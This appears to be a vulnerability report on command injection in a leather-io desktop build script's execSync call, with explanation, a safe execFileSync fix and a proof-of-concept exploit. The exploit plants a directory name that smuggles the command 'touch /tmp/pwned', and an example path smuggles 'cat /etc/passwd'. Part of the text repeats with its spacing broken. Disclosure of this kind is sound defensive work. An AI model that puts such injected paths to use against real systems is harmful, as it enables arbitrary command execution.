|
execSync(`npm ls ${nativeDeps.join(' ')} --json`).toString() |
Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.
The following shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.
var cp = require("child_process"),
path = require("path");
function cleanupTemp() {
let cmd = "rm -rf " + path.join(__dirname, "temp");
cp.execSync(cmd); // BAD
}
The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.
For instance, if the absolute path of the temporary directory is /home/username/important leather-io/temp, then the shell command will recursively delete /home/username/important and leather-io/temp, where the latter path gets resolved relative to the working directory of the JavaScript process.
Even worse, although less likely, a malicious user could provide the path /home/username/; cat /etc/passwd #/important leather-io/temp in order to execute the command cat /etc/passwd.
var cp = require("child_process"),
path = require("path");
function cleanupTemp() {
let cmd = "rm",
args = ["-rf", path.join(__dirname, "temp")];
cp.execFileSync(cmd, args); // GOOD
}
mkdir -p "/tmp/evil; touch /tmp/pwned #"
Place the `CheckNativeDep.js` file in the `/tmp/evil directory; touch /tmp/pwned #/`:
CheckNativeDep.js
var cp = require("child_process");
var path = require("path");
function cleanupTemp() {
let cmd = "rm -rf " + path.join(__dirname, "temp");
console.log("Executing:", cmd);
cp.execSync(cmd); // BAD
}
cleanupTemp();
$root-pwned -> node CheckNativeDep.js
$root-pwned ->ls /tmp/pwned
# file exists, means the payload `touch /tmp/pwned` was executed successfully.
const fs = require("fs");
const cp = require("child_process");
const path = require("path");
// 1. Buat direktori dengan nama yang mengandung perintah injeksi
const evilPath = "/tmp/evil; touch /tmp/pwned #";
const projectPath = path.join(evilPath, "project");
if (!fs.existsSync(projectPath)) {
fs.mkdirSync(projectPath, { recursive: true });
console.log("[+] Direktori berbahaya dibuat:", projectPath);
}
// 2. Buat file JS vulnerable di dalam direktori itu
const vulnerableScriptPath = path.join(projectPath, "CheckNativeDep.js");
const vulnerableCode = `
var cp = require("child_process");
var path = require("path");
function cleanupTemp() {
let cmd = "rm -rf " + path.join(__dirname, "temp");
console.log("[!] Menjalankan:", cmd);
cp.execSync(cmd); // VULNERABLE
}
cleanupTemp();
`;
fs.writeFileSync(vulnerableScriptPath, vulnerableCode);
console.log("[+] File vulnerable ditulis ke:", vulnerableScriptPath);
// 3. Jalankan file vulnerable
console.log("[*] Menjalankan eksploitasi...");
cp.execSync(`node "${vulnerableScriptPath}"`, { stdio: "inherit" });
// 4. Verifikasi eksploitasi berhasil
if (fs.existsSync("/tmp/pwned")) {
console.log("[✅] Eksploitasi berhasil! File /tmp/pwned berhasil dibuat!");
} else {
console.log("[❌] Eksploitasi gagal. File /tmp/pwned tidak ditemukan.");
}
References
Command Injection
CWE-78
CWE-88
desktop/internals/scripts/CheckNativeDep.js
Line 16 in 9af8168
Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.
The following shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts.
The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path.
For instance, if the absolute path of the temporary directory is
/home/username/important leather-io/temp, then the shell command will recursively delete/home/username/importantandleather-io/temp, where the latter path gets resolved relative to the working directory of the JavaScript process.Even worse, although less likely, a malicious user could provide the path
/home/username/; cat /etc/passwd #/important leather-io/tempin order to execute the commandcat /etc/passwd.mkdir -p "/tmp/evil; touch /tmp/pwned #"
CheckNativeDep.jsReferences
Command Injection
CWE-78
CWE-88